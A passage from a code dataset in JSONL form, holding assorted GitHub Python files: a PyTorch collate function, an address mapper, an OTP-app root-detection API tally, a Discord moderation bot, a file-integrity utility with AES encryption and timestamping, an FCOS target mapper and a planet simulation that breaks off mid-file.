self.MAX_DETECTIONS = MAX_DETECTIONS\n\n def __call__(self, datapoints):\n video_id_list = []\n \n bboxes_tensor = None\n features_tensor = None\n \n actions_list = []\n steps_list = []\n entities_list = []\n entity_count_list = []\n \n max_step_length_list = []\n \n for i, data in enumerate(datapoints):\n video_id, bboxes, features, actions, steps, entities, entity_count, max_step_length = data\n \n if i == 0:\n bboxes_tensor = torch.ones((len(datapoints), len(actions) * NUM_FRAMES_PER_STEP * self.MAX_DETECTIONS, BOUNDING_BOX_SIZE))\n features_tensor = torch.ones((len(datapoints), len(actions) * NUM_FRAMES_PER_STEP * self.MAX_DETECTIONS, DETECTION_EMBEDDING_SIZE))\n \n bboxes_tensor[i] = bboxes\n features_tensor[i] = features\n \n video_id_list.append(video_id) \n \n actions_list.append(actions)\n steps_list.append(steps)\n entities_list.append(entities)\n entity_count_list.append(entity_count)\n \n max_step_length_list.append(max_step_length)\n \n return video_id_list, bboxes_tensor, features_tensor, actions_list, steps_list, entities_list, entity_count_list, max_step_length_list\n","repo_name":"hasanmohsin/ece496-capstone","sub_path":"train/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":3935,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"73694558306","text":"import json\nimport csv\nimport codecs\nimport pandas as pd\n\ndic = {}\n\n# 名前の意味情報を読み取る\nwith codecs.open('./meaning.csv', \"r\") as f:\n reader = csv.reader(f)\n meaning = [row for row in reader]\n\ndic_name = {}\n\n# ヘッダー削除\nmeaning = meaning[1:]\n\nfor mean in meaning:\n if mean[3] == \"\" or mean[4] == \"\":\n continue\n if mean[4] == \"備考\":\n continue\n category = int(mean[4]) - 1\n if category > 13 or category < 0:\n print(mean[0])\n print(category)\n continue\n if not mean[3] in dic.keys():\n dic[mean[3]] = [] # alphabet to bukken\n if not mean[3] in dic_name.keys():\n dic_name[mean[3]] = mean[0] #alphabet to katakana\n \n# 建物情報を読み取る\nwith codecs.open('./suumo_tokyo.csv', \"r\") as f:\n reader = csv.reader(f)\n buiding = [row for row in reader]\n\n# ヘッダー削除\nbuiding = buiding[1:]\ni = 0\nfor bill in buiding:\n for key in dic.keys():\n if dic_name[key] in bill[1]: # 建物名にキーワードが含まれているか\n address = bill[2]\n if address.find(\"区\") == -1:\n continue \n address = address.replace(\"ケ\", \"ヶ\")\n\n if address.find(\"余丁町\") != -1:\n address = \"東京都新宿区余丁町\"\n dic[key].append(address)\n elif address.rfind(\"丁\") != -1:\n pos = address.rfind(\"丁\")\n address = address[:pos]\n dic[key].append(address)\n elif address.rfind(\"町\") != -1:\n pos = address.rfind(\"町\")\n address = address[:pos + 1]\n dic[key].append(address) \n elif address.rfind(\"番\") != -1:\n pos = address.rfind(\"番\")\n address = address[:pos - 1]\n dic[key].append(address) \n else:\n i += 1\n\nwith codecs.open(\"./alphabet_to_address.json\", \"w\") as outfile:\n json.dump(dic, outfile, indent=1)\n\n","repo_name":"azuma164/House-App","sub_path":"zoom/make_address.py","file_name":"make_address.py","file_ext":"py","file_size_in_byte":1893,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"43108809389","text":"import os\nimport pandas as pd\nimport csv\n\napi_app_path = '/home/budi/OTP_project/OTP_code/root_detection/androguard_api_classes.csv'\nreport_path = '/home/budi/OTP_project/OTP_code/root_detection/'\n\ndef pct(D):\n N = 182 # OTP apps number\n ret = round((D/N)*100,2)\n return ret\n\ndef group_root_api(data_path,report_path):\n api_app_df = pd.read_csv(data_path,index_col=False)\n non_root = ['BiometricManager','BiometricPrompt','FingerprintManager','BiometricService','FingerprintService',\n 'KeyStore.getInstance','isStrongBoxBacked','StrongBoxUnavailableException','isInsideSecureHardware',\n 'SafetyNet.getClient','Os.stat']\n api_app_df = api_app_df[~api_app_df['api_flag'].isin(non_root)]\n api_app_df[\"value\"]=1\n df_trans = pd.pivot_table(api_app_df, values=\"value\", index=[\"app_id\"], columns=\"api_flag\", fill_value=0).reset_index() \n df_trans.reset_index()\n df_trans['sum'] = df_trans.sum(axis=1)\n df_trans = df_trans.sort_values(['sum'],ascending=False)\n print(df_trans)\n\n to_write = report_path+'root_api_per_app.csv'\n df_trans.to_csv(to_write,index=False)\n\n sum_path = report_path+'sum_root_api_usage.txt'\n sum_root_df = df_trans.groupby(['sum'])['sum'].count().reset_index(name='count').sort_values(by=['sum'],ascending=False) \n # print(sum_root_df)\n with open (sum_path,'w') as fl:\n fl.write('#of Strategy & #of Apps (\\%) \\\\\\ \\n' )\n for i,line in sum_root_df.iterrows():\n pct_item = pct(line['count'])\n fl.write( str(line['sum']) +' & '+ str(line['count']) +'(' +str(pct_item) +'\\%) \\\\\\ \\n')\n\ndef main():\n group_root_api(api_app_path,report_path)\n\nif __name__=='__main__':\n main()","repo_name":"otpappsanalyzer/otpappsanalyzer","sub_path":"root_detection/api_call_per_app.py","file_name":"api_call_per_app.py","file_ext":"py","file_size_in_byte":1695,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"70303243108","text":"text = \"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.\"\nlimit = 30\n\nwords = text.split(\" \")\nlines = [list()]\nindex = 0\nfor word in words:\n linelength = len(lines[index])-1\n for x in lines[index]:\n linelength += len(x)\n if linelength + len(word)+1 > limit:\n index += 1\n lines.append(list())\n else:\n lines[index].append(\" \")\n lines[index].append(word)\n\nlines[0].pop(0)\n\nfor i in range(len(lines)):\n space = limit\n for x in lines[i]:\n space -= len(x)\n\n while space > 0 and len(lines[i]) > 1:\n for x in range(1, len(lines[i]), 2):\n lines[i][x] = lines[i][x] + \" \"\n space -= 1\n if space <= 0:\n break\n\nfor x in lines:\n\n print(\"%s\" % \"\".join(x))\n","repo_name":"JonKramme/python-script-collection","sub_path":"block_text.py","file_name":"block_text.py","file_ext":"py","file_size_in_byte":1155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"72642285025","text":"import os\n\nwith open('input.txt', 'r') as f:\n data = f.read()\n\nres = [str(i) for i in data.split()]\n\nhasThrees = 0\nhasTwos = 0\n\nfor item in res:\n myDict = {}\n hasThree = False\n hasTwo = False\n for char in item:\n try:\n myDict[char] += 1\n except KeyError:\n myDict[char] = 1\n for k,v in myDict.items():\n if v == 3:\n hasThree = True\n if v == 2:\n hasTwo = True\n if hasThree == True:\n hasThrees += 1\n if hasTwo == True:\n hasTwos += 1\n\nprint(hasThrees)\nprint(hasTwos)\nprint(hasThrees * hasTwos)\n","repo_name":"linkel/Advent-of-Code","sub_path":"2018/Day2/checksum.py","file_name":"checksum.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"6411595430","text":"import asyncio\nfrom sys import prefix\nimport discord\nimport random\nimport json\nfrom discord import client\nfrom discord.ext import commands, tasks\nfrom itertools import cycle\nfrom discord.ext.commands.errors import CommandNotFound\n\n\nstatus = cycle(['Your Custom Status'])\n\n\nclass Admin(commands.Cog):\n\n def __init__(self, client):\n self.client = client\n\n class DurationConverter(commands.Converter):\n async def convert(self, ctx, argument):\n amount = argument[:-1]\n unit = argument[-1]\n\n if amount.isdigit() and unit in ['s', 'm']:\n return (int(amount), unit)\n\n raise commands.BadArgument(message='Not a valid duration')\n\n\n #EVENTS\n @commands.Cog.listener()\n async def on_ready(self):\n self.change_status.start()\n print('Bot is ready')\n\n @commands.Cog.listener()\n async def on_guild_join(self, guild):\n with open('prefixes.json', 'r') as f:\n prefixes = json.load(f)\n\n\n prefixes[str(guild.id)] = '.'\n\n with open('prefixes.json', 'w') as f:\n json.dump(prefixes, f, indent = 4)\n\n \n @commands.Cog.listener()\n async def on_guild_remove(self, guild):\n with open('prefixes.json', 'r') as f:\n prefixes = json.load(f)\n\n\n prefixes.pop(str(guild.id))\n\n with open('prefixes.json', 'w') as f:\n json.dump(prefixes, f, indent = 4)\n\n\n #COMMANDS\n @commands.has_permissions(manage_messages=True)\n\n @commands.command()\n async def ping(self, ctx):\n await ctx.send(f'Pong!\\n{round(self.client.latency * 1000)}ms')\n\n \n @commands.command(aliases=['8ball'])\n async def _8ball(self, ctx, *, question):\n responses = ['It is certain.',\n 'It is decidedly so.',\n 'Without a doubt.',\n 'Yes - definitely.',\n 'As I see it, yes.',\n 'Most likely.',\n 'Outlook good.',\n 'Yes.',\n 'Sings point to yes.',\n 'Reply hazy, try again.',\n 'Ask again later.',\n 'Better not tell you now.',\n 'Cannot predict now.',\n 'Concentrate and ask again.',\n \"Don't count on it.\",\n 'My reply is no.',\n 'My sources say no.',\n 'Outlook not so good.',\n 'Very doubtful.']\n await ctx.send(f'Question: {question}\\nAnswer: {random.choice(responses)}')\n\n @commands.command()\n async def clear(self, ctx, amount : int):\n await ctx.channel.purge(limit=amount)\n\n\n @commands.command()\n async def kick(self, ctx, member : commands.MemberConverter, *, reason=None):\n await member.guild.kick(member)\n await ctx.send(f'{member} has been kicked.')\n\n @commands.command()\n async def tempban(self, ctx, member : commands.MemberConverter, duration : DurationConverter):\n\n multiplier = {'s': 1, 'm': 60}\n amount, unit = duration\n\n await ctx.guild.ban(member)\n await ctx.send(f'{member} has been banned for {amount}{unit}.')\n await asyncio.sleep(amount * multiplier[unit])\n await ctx.guild.unban(member)\n\n\n @commands.command()\n async def unban(self, ctx, *, member):\n banned_users = await ctx.guild.bans()\n member_name, member_discriminator = member.split('#')\n\n for ban_entry in banned_users:\n user = ban_entry.user\n\n if (user.name, user.discriminator) == (member_name, member_discriminator):\n await ctx.guild.unban(user)\n await ctx.send(f'Unbanned {user.mention}')\n return\n\n\n @commands.command()\n async def changeprefix(self, ctx, prefix):\n with open('prefixes.json', 'r') as f:\n prefixes = json.load(f)\n\n\n prefixes[str(ctx.guild.id)] = prefix\n\n with open('prefixes.json', 'w') as f:\n json.dump(prefixes, f, indent = 4)\n\n await ctx.send(f'Prefix changed to {prefix}')\n\n\n #TASKS\n @tasks.loop(seconds=5)\n async def change_status(self):\n await self.client.change_presence(activity=discord.Game(next(status)))\n\n \n #ERRROS\n @commands.Cog.listener()\n async def on_command_error(self, ctx, error):\n if isinstance(error, commands.CommandNotFound):\n await ctx.send('Invalid command used.')\n\n\n @clear.error\n async def clear_error(self, ctx, error):\n if isinstance(error, commands.MissingRequiredArgument):\n await ctx.send('Please specify an amount of messages to delete.')\n \n\ndef setup(client):\n client.add_cog(Admin(client))","repo_name":"MohrezSheikh/Discord-Admin-Helper-Bot","sub_path":"cogs/Admin.py","file_name":"Admin.py","file_ext":"py","file_size_in_byte":4680,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"24631202154","text":"from .settings import * # noqa\nimport dj_database_url\n\nDATABASE_URL = \"sqlite://openprecincts.db\"\nDATABASES = {\"default\": dj_database_url.parse(DATABASE_URL)}\n\n# disable whitenoise so we don't have to collectstatic for tests\nSTATICFILES_STORAGE = \"django.contrib.staticfiles.storage.StaticFilesStorage\"\nMIDDLEWARE_REMOVE = [\"whitenoise.middleware.WhiteNoiseMiddleware\"]\nMIDDLEWARE = [m for m in MIDDLEWARE if m not in MIDDLEWARE_REMOVE] # noqa\n","repo_name":"OpenPrecincts/openprecincts-web","sub_path":"openprecincts_web/test_settings.py","file_name":"test_settings.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"70"} +{"seq_id":"16049375784","text":"from . import config\nfrom .crypto_util import AESCipher\nfrom .log_helper import LogHelper\n\nfrom Crypto.Cipher import AES\nfrom hashlib import sha256, md5\nfrom datetime import datetime, timezone\nfrom pathlib import Path\n\nimport errno\nimport json\nimport os\nimport requests\nimport subprocess\nimport uuid\n\n_logger = LogHelper.getLogger()\n\n\nBUFFER_SIZE = 32 * 1024 # 32 KiB\n\n\nclass FileUtil:\n \"\"\"Manages file system and file names.\"\"\"\n\n def create_dir(self, dir_path):\n \"\"\"Creates a new directory.\n\n Logs if the new directory was created or if it already existed.\n\n Args:\n dir_path: the local path to the new directory\n\n Raises:\n any errors that happened during directory creation\n (an already-existing directory is not considered an error)\n \"\"\"\n try:\n os.makedirs(dir_path)\n _logger.info(\"Created directory %s\", dir_path)\n except OSError as err:\n if err.errno == errno.EEXIST:\n _logger.info(\"Directory %s already exists\", dir_path)\n else:\n raise err\n\n def generate_uuid(self):\n \"\"\"Generates a randomly generated UUID.\n\n Returns:\n the UUID\n \"\"\"\n return str(uuid.uuid4())\n\n def digest(self, algo, file_path):\n \"\"\"Generates cryptographic hash digest of a file.\n\n Args:\n algo: A string representing the hash algorithm. (\"sha256\", \"md5\")\n file_path: the local path to a file\n\n Returns:\n the HEX-encoded digest of the input file\n\n Raises:\n any file I/O errors\n NotImplementedError for an unknown hash algo\n \"\"\"\n\n if algo == \"sha256\":\n hasher = sha256()\n elif algo == \"md5\":\n hasher = md5()\n else:\n raise NotImplementedError(f\"unknown hash algo {algo}\")\n\n with open(file_path, \"rb\") as f:\n # Parse file in blocks\n for byte_block in iter(lambda: f.read(BUFFER_SIZE), b\"\"):\n hasher.update(byte_block)\n return hasher.hexdigest()\n\n def digest_sha256(self, file_path):\n \"\"\"Generates SHA-256 digest of a file.\n\n Args:\n file_path: the local path to a file\n\n Returns:\n the HEX-encoded SHA-256 digest of the input file\n\n Raises:\n any file I/O errors\n \"\"\"\n\n return self.digest(\"sha256\", file_path)\n\n def digest_md5(self, file_path):\n \"\"\"Generates MD5 digest of a file.\n\n Args:\n file_path: the local path to a file\n\n Returns:\n the HEX-encoded MD5 digest of the input file\n\n Raises:\n any file I/O errors\n \"\"\"\n\n return self.digest(\"md5\", file_path)\n\n @staticmethod\n def get_hash_from_filename(filename: str) -> str:\n \"\"\"Extracts the file hash from the given filename.\n\n Args:\n filename: the filename to process, which is expected to be shaped like:\n `-meta.json`\n `-signature.json`\n `.`\n\n Returns:\n the hash part of the filename\n \"\"\"\n name, _ = os.path.splitext(os.path.basename(filename))\n return name.split(\"-\")[0]\n\n @staticmethod\n def change_filename_extension(filename, ext: str) -> str:\n \"\"\"Changes the file extension for the given filename.\n\n Args:\n filename: the filename to process\n ext: the new file extension\n\n Returns:\n the filename with the new extension\n \"\"\"\n return str(Path(filename).with_suffix(ext))\n\n def register_timestamp(self, file_path, ts_file_path, timeout=5, min_cals=2):\n \"\"\"Creates a opentimestamps file for the given file.\n\n Args:\n file_path: path to file\n ts_file_path: output path for opentimestamps file (.ots)\n timeout: Timeout before giving up on a calendar\n min_cals: timestamp is considered done if at least this many calendars replied\n\n Raises:\n any file I/O errors\n Exception if errors are encountered during processing\n \"\"\"\n\n with open(file_path, \"rb\") as inp, open(ts_file_path, \"wb\") as out:\n proc = subprocess.run(\n [\n config.OTS_CLIENT_PATH,\n \"stamp\",\n \"--timeout\",\n str(timeout),\n \"-m\",\n str(min_cals),\n ],\n stdin=inp, # Read file from stdin, so that output is on stdout\n stdout=out, # Write output to given output file\n stderr=subprocess.PIPE,\n )\n\n if proc.returncode != 0:\n raise Exception(\n f\"'ots stamp' failed with code {proc.returncode} and output:\\n\\n{proc.stderr.decode()}\"\n )\n\n def authsign_sign(\n self,\n data_hash,\n authsign_server_url,\n authsign_auth_token,\n authsign_file_path=None,\n ):\n \"\"\"\n Sign the provided hash with authsign.\n Args:\n data_hash: hash of data as a hexadecimal string\n authsign_server_url: URL to authsign server\n authsign_auth_token: authorization token to authsign server\n authsign_file_path: optional output path for authsign proof file (.authsign)\n Raises:\n Any errors with the request\n Returns:\n The signature proof as a string\n \"\"\"\n\n dt = datetime.now()\n if isinstance(dt, datetime):\n # Convert to ISO format string\n dt = (\n dt.astimezone(timezone.utc)\n .replace(tzinfo=None)\n .isoformat(timespec=\"seconds\")\n + \"Z\"\n )\n\n headers = {}\n if authsign_auth_token != \"\":\n headers = {\"Authorization\": f\"bearer {authsign_auth_token}\"}\n\n r = requests.post(\n authsign_server_url + \"/sign\",\n headers=headers,\n json={\"hash\": data_hash, \"created\": dt},\n )\n r.raise_for_status()\n authsign_proof = r.json()\n\n # Write proof to file\n if authsign_file_path != None:\n with open(authsign_file_path, \"w\") as f:\n f.write(json.dumps(authsign_proof))\n f.write(\"\\n\")\n\n return authsign_proof\n\n def authsign_verify(self, resp, authsign_server_url):\n \"\"\"\n Verify the provided signed JSON with authsign.\n Args:\n resp: Python object or JSON string\n authsign_server_url: URL to authsign server\n Raises:\n Any unexpected server responses\n Returns:\n bool indicating whether the verification was successful or not\n \"\"\"\n\n if not isinstance(resp, str):\n resp = json.dumps(resp)\n\n r = requests.post(authsign_server_url + \"/verify\", data=resp)\n if r.status_code == 200:\n return True\n if r.status_code == 400:\n return False\n\n # Unexpected status code\n r.raise_for_status()\n\n def encrypt(self, key, file_path, enc_file_path):\n \"\"\"Writes an encrypted version of the file to disk.\n\n Args:\n key: an AES-256 key as bytes (32 bytes)\n file_path: the path to the unencrypted file\n enc_file_path: the path where the encrypted file will go\n\n Raises:\n Any AES errors\n Any errors during file creation or I/O\n \"\"\"\n\n cipher = AESCipher(key)\n\n with open(file_path, \"rb\") as dec, open(enc_file_path, \"wb\") as enc:\n # Begin file with the Initialization Vector.\n # This is a standard way of storing the IV in a file for AES-CBC,\n # and it's what the lit-js-sdk does.\n enc.write(cipher.iv)\n\n while True:\n data = dec.read(BUFFER_SIZE)\n\n if len(data) % AES.block_size != 0 or len(data) == 0:\n # This is the final block in the file\n # It's not a multiple of the AES block size so it must be padded\n enc.write(cipher.encrypt_last_block(data))\n break\n\n enc.write(cipher.encrypt(data))\n\n def decrypt(self, key, file_path, dec_file_path):\n \"\"\"Writes a decrypted version of the file to disk.\n\n Args:\n key: an AES-256 key as bytes (32 bytes)\n file_path: the path to the encrypted file\n dec_file_path: the path where the decrypted file will go\n\n Raises:\n Any AES errors\n Any errors during file creation or I/O\n \"\"\"\n\n with open(file_path, \"rb\") as enc, open(dec_file_path, \"wb\") as dec:\n # Get IV\n iv = enc.read(16)\n cipher = AESCipher(key, iv)\n\n data = enc.read(int(BUFFER_SIZE / 2))\n while True:\n prev_data = data\n data = enc.read(int(BUFFER_SIZE / 2))\n\n if len(data) == 0:\n # prev_data is the final block in the file and is therefore padded\n dec.write(cipher.decrypt_last_block(prev_data))\n break\n\n dec.write(cipher.decrypt(prev_data))\n\n @staticmethod\n def digest_cidv1(file_path):\n \"\"\"Generates the CIDv1 of a file, as determined by ipfs add.\n\n Args:\n file_path: the local path to a file\n\n Returns:\n CIDv1 in the canonical string format\n\n Raises:\n Exception if errors are encountered during processing\n \"\"\"\n\n if not os.path.exists(os.path.expanduser(\"~/.ipfs\")):\n proc = subprocess.run(\n [\"ipfs\", \"init\"],\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT,\n text=True,\n )\n if proc.returncode != 0:\n raise Exception(\n f\"'ipfs init' failed with code {proc.returncode} and output:\\n\\n{proc.stdout}\"\n )\n\n _logger.info(\"Created IPFS repo since it didn't exist\")\n\n proc = subprocess.run(\n [\n config.IPFS_CLIENT_PATH,\n \"add\",\n \"--only-hash\",\n \"--cid-version=1\",\n \"-Q\",\n file_path,\n ],\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT,\n text=True,\n )\n\n if proc.returncode != 0:\n raise Exception(\n f\"'ipfs add --only-hash --cid-version=1' failed with code {proc.returncode} and output:\\n\\n{proc.stdout}\"\n )\n\n return proc.stdout.strip()\n","repo_name":"starlinglab/integrity-backend","sub_path":"integritybackend/file_util.py","file_name":"file_util.py","file_ext":"py","file_size_in_byte":10807,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"70"} +{"seq_id":"27684091146","text":"import torch\n\nimport math\n\nfrom torch import nn\n\nfrom .level_map_operations import LevelMapOperations\n\n\nclass Mapper(nn.Module, LevelMapOperations):\n\tdef __init__(\n\t\t\tself, strides, image_size, num_classes,\n\t\t\tdevice=None, dtype=torch.float32):\n\t\tsuper(Mapper, self).__init__()\n\n\t\tself.strides = strides\n\t\tself.num_levels = len(self.strides)\n\t\tself.image_size = image_size\n\t\tself.num_classes = num_classes\n\n\t\tself.level_thresholds = self._calc_level_thresholds(strides, image_size)\n\n\t\tself._empty_maps = None\n\t\tself._grid_maps = None\n\n\t\tif device is not None or dtype is not None:\n\t\t\tself._empty_maps = self._create_empty_maps(device, dtype)\n\t\t\tself._grid_maps = self._create_grid_maps(device, dtype)\n\n\tdef forward(self, x):\n\t\t\"\"\"Maps groud-truth targets to a bunch of per-level map tensors.\n\n\t\tArguments:\n\t\t\tx: tuple(list(torch.Tensor)) - per-image labels and bounding boxes\n\n\t\tReturns:\n\t\t\tlist(torch.Tensor) - per-level list of map tensors, i.e. imaginary\n\t\t\t\tshape is (L, B, C, H, W), where L - number of levels, B - batch\n\t\t\t\tsize\n\t\t\"\"\"\n\t\tbatch_results = []\n\n\t\tfor b, l in zip(*x):\n\t\t\tlevel_maps = self._map_sample(b, l)\n\t\t\tbatch_results.append(level_maps)\n\n\t\tresult = []\n\t\tfor i in range(self.num_levels):\n\t\t\tper_level_maps = [t[i] for t in batch_results]\n\t\t\tr = torch.stack(per_level_maps)\n\t\t\tresult.append(r)\n\n\t\treturn result\n\n\t@staticmethod\n\tdef _calc_level_thresholds(strides, image_size):\n\t\tresult = []\n\n\t\tlast_size = image_size\n\t\tfor i in range(len(strides) - 1, -1, -1):\n\t\t\ts = strides[i]\n\n\t\t\tpixel_size = float(s) / image_size\n\n\t\t\tth_max = math.ceil(last_size / s)\n\n\t\t\tif th_max % 2:\n\t\t\t\tth_max += 1\n\n\t\t\tth_min = th_max // 2\n\n\t\t\tlast_size = th_min * s\n\n\t\t\tif i == 0:\n\t\t\t\tth_min = 1\n\n\t\t\tresult.append((th_min * pixel_size, th_max * pixel_size))\n\n\t\treturn tuple(result[::-1])\n\n\t@staticmethod\n\tdef _calc_level_map_sizes(strides, image_size):\n\t\treturn [image_size // s for s in strides]\n\n\t@staticmethod\n\tdef _create_level_map(stride, image_size, value=0., num_cell_elements=1):\n\t\tsize = image_size // stride\n\t\treturn torch.full((size, size, num_cell_elements), value)\n\n\tdef _create_empty_maps(self, device, dtype, with_centerness=True):\n\t\tresult = []\n\n\t\tfor level in range(self.num_levels):\n\t\t\ts = self.strides[level]\n\n\t\t\tcls_level_map = self._create_level_map(\n\t\t\t\ts, self.image_size, num_cell_elements=self.num_classes)\n\t\t\tcls_level_map[..., 0] = 1. # set all pixels to 'background' class\n\t\t\tcls_level_map = cls_level_map.to(device=device, dtype=dtype)\n\n\t\t\treg_level_map = self._create_level_map(\n\t\t\t\ts, self.image_size, num_cell_elements=4)\n\t\t\treg_level_map = reg_level_map.to(device=device, dtype=dtype)\n\n\t\t\tif with_centerness:\n\t\t\t\tcenterness_level_map = self._create_level_map(\n\t\t\t\t\ts, self.image_size)\n\t\t\t\tcenterness_level_map = centerness_level_map.to(\n\t\t\t\t\tdevice=device, dtype=dtype)\n\n\t\t\t\tresult.append((\n\t\t\t\t\treg_level_map,\n\t\t\t\t\tcenterness_level_map,\n\t\t\t\t\tcls_level_map))\n\n\t\t\telse:\n\t\t\t\tresult.append((\n\t\t\t\t\treg_level_map,\n\t\t\t\t\tcls_level_map))\n\n\t\treturn tuple(result)\n\n\tdef _create_grid_maps(self, device, dtype):\n\t\tresult = []\n\n\t\tfor level in range(self.num_levels):\n\t\t\ts = self.strides[level]\n\n\t\t\tmx, my = self._create_level_reg_maps(s, self.image_size)\n\t\t\tmx = mx.to(device=device, dtype=dtype)\n\t\t\tmy = my.to(device=device, dtype=dtype)\n\n\t\t\tresult.append((mx, my))\n\n\t\treturn tuple(result)\n\n\t@staticmethod\n\tdef _calc_area(box):\n\t\treturn (box[2] - box[0]) * (box[3] - box[1])\n\n\t@staticmethod\n\tdef _calc_reg_slab(stride, subparts):\n\t\tresult = torch.cat(subparts, dim=-1)\n\n\t\treturn result\n\n\t@staticmethod\n\tdef _calc_centerness_slab(l, t, r, b):\n\t\treturn torch.sqrt(\n\t\t\t(torch.minimum(l, r) / torch.maximum(l, r)) *\n\t\t\t(torch.minimum(t, b) / torch.maximum(t, b))).to(l.device)\n\n\tdef _calc_class_slab(self, stride, label):\n\t\tm = self._create_level_map(\n\t\t\tstride, self.image_size, num_cell_elements=self.num_classes)\n\n\t\tm[..., int(label)] = 1.\n\n\t\tm = m.to(label.device)\n\n\t\treturn m\n\n\t@staticmethod\n\tdef _filter_background(level_map):\n\t\tmn, _ = level_map.min(dim=-1)\n\t\treturn mn.unsqueeze(-1) >= 0\n\n\tdef _pointwise_fit_in_level(self, level_map, level):\n\t\tth = self.level_thresholds[level]\n\n\t\tmx, _ = level_map.max(dim=-1)\n\n\t\treturn (mx.unsqueeze(-1) > th[0]) & (mx.unsqueeze(-1) <= th[1])\n\n\tdef _mask(self, level_map, level):\n\t\treturn self._filter_background(level_map) & \\\n\t\t\tself._pointwise_fit_in_level(level_map, level)\n\n\tdef _clear_box_background(self, cls_level_map, reg_level_map):\n\t\tfg = self._filter_background(reg_level_map)\n\t\tfg = fg.expand_as(cls_level_map).clone().detach()\n\t\tfg[..., 1:] = False\n\n\t\tcls_level_map[fg] = 0.\n\n\tdef _map_sample(self, gt_boxes, gt_labels):\n\t\tresult = []\n\n\t\tgt_boxes *= self.image_size\n\t\tfor level in range(self.num_levels):\n\t\t\ts = self.strides[level]\n\n\t\t\tif self._empty_maps is None:\n\t\t\t\tif len(gt_boxes) == 0:\n\t\t\t\t\traise RuntimeError(\n\t\t\t\t\t\t\"'device' and 'dtype' of level maps neither specified \"\n\t\t\t\t\t\t\"nor may be inferred due to no positive targets \"\n\t\t\t\t\t\t\"in the very first sample: either specify them \"\n\t\t\t\t\t\t\"explicitly or provide samples with at least one \"\n\t\t\t\t\t\t\"positive target\")\n\n\t\t\t\tself._empty_maps = self._create_empty_maps(\n\t\t\t\t\tgt_boxes[0].device, gt_boxes[0].dtype)\n\t\t\t\tself._grid_maps = self._create_grid_maps(\n\t\t\t\t\tgt_boxes[0].device, gt_boxes[0].dtype)\n\n\t\t\tempty_maps = self._empty_maps[level]\n\t\t\treg_empty_map, centerness_empty_map, cls_empty_map = empty_maps\n\n\t\t\tgrid_maps = self._grid_maps[level]\n\n\t\t\tmx, my = grid_maps\n\n\t\t\tcls_level_map = cls_empty_map\n\t\t\treg_level_map = reg_empty_map\n\t\t\tcenterness_level_map = centerness_empty_map\n\n\t\t\tfor box, label in sorted(\n\t\t\t\t\tzip(gt_boxes, gt_labels),\n\t\t\t\t\tkey=lambda v: Mapper._calc_area(v[0]),\n\t\t\t\t\treverse=True):\n\t\t\t\tnorm_box = box / self.image_size\n\n\t\t\t\tl = mx - norm_box[0]\n\t\t\t\tt = my - norm_box[1]\n\t\t\t\tr = norm_box[2] - mx\n\t\t\t\tb = norm_box[3] - my\n\n\t\t\t\treg_slab = self._calc_reg_slab(s, [l, t, r, b])\n\t\t\t\tcenterness_slab = self._calc_centerness_slab(l, t, r, b)\n\t\t\t\tcls_slab = self._calc_class_slab(s, label)\n\n\t\t\t\tpred = self._mask(reg_slab, level)\n\n\t\t\t\tself._clear_box_background(cls_level_map, reg_slab)\n\n\t\t\t\tcls_level_map = torch.where(pred, cls_slab, cls_level_map)\n\t\t\t\treg_level_map = torch.where(pred, reg_slab, reg_level_map)\n\t\t\t\tcenterness_level_map = torch.where(\n\t\t\t\t\tpred, centerness_slab, centerness_level_map)\n\n\t\t\tlevel_map = torch.cat([\n\t\t\t\treg_level_map,\n\t\t\t\tcenterness_level_map,\n\t\t\t\tcls_level_map], dim=-1)\n\n\t\t\tlevel_map = level_map.permute(2, 0, 1)\n\n\t\t\tresult.append(level_map)\n\n\t\treturn result\n","repo_name":"aclex/detection-experiments","sub_path":"detector/fcos/map.py","file_name":"map.py","file_ext":"py","file_size_in_byte":6441,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"70"} +{"seq_id":"17850809521","text":"\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nimport math\nimport json\nimport random\nfrom dataclasses import dataclass\n\n@dataclass\nclass Planet:\n mass: float\n position: np.ndarray\n velocity: np.ndarray\n\n def __init__(self, mass: float, position_array: list[float], velocity_array: list[float]):\n self.mass = mass\n self.position = np.array(position_array)\n self.velocity = np.array(velocity_array)\n\n\n\ndef load_from_json(filename: str):\n f = open(filename)\n\n json_dict = json.load(f)\n\n planets = []\n for value in json_dict.values():\n planets.append(Planet(value['mass'], value['position'], value['velocity']))\n\n f.close()\n\n return planets\n\n\ndef generate_random_planets(n):\n\n planets = []\n\n for i in range(n):\n mass = np.random.uniform(1e26, 1e27)\n position = [np.random.uniform(-1e11, 1e11),np.random.uniform(-1e11, 1e11)]\n velocity = [np.random.uniform(-1e3, 1e3),np.random.uniform(-1e3, 1e3)]\n\n planets.append(Planet(mass, position, velocity))\n\n return planets\n\n\n\nclass SystemOfPlanets:\n planets: list[Planet]\n planet_count: int\n\n masses: np.ndarray\n positions: np.ndarray\n velocities: np.ndarray\n\n distances: np.ndarray\n directions: np.ndarray\n forces: np.ndarray\n accels: np.ndarray\n\n positions_in_time: list[np.ndarray]\n\n\n def __init__(self, planets: list[Planet]):\n self.planets = planets\n self.count = len(planets)\n self.masses 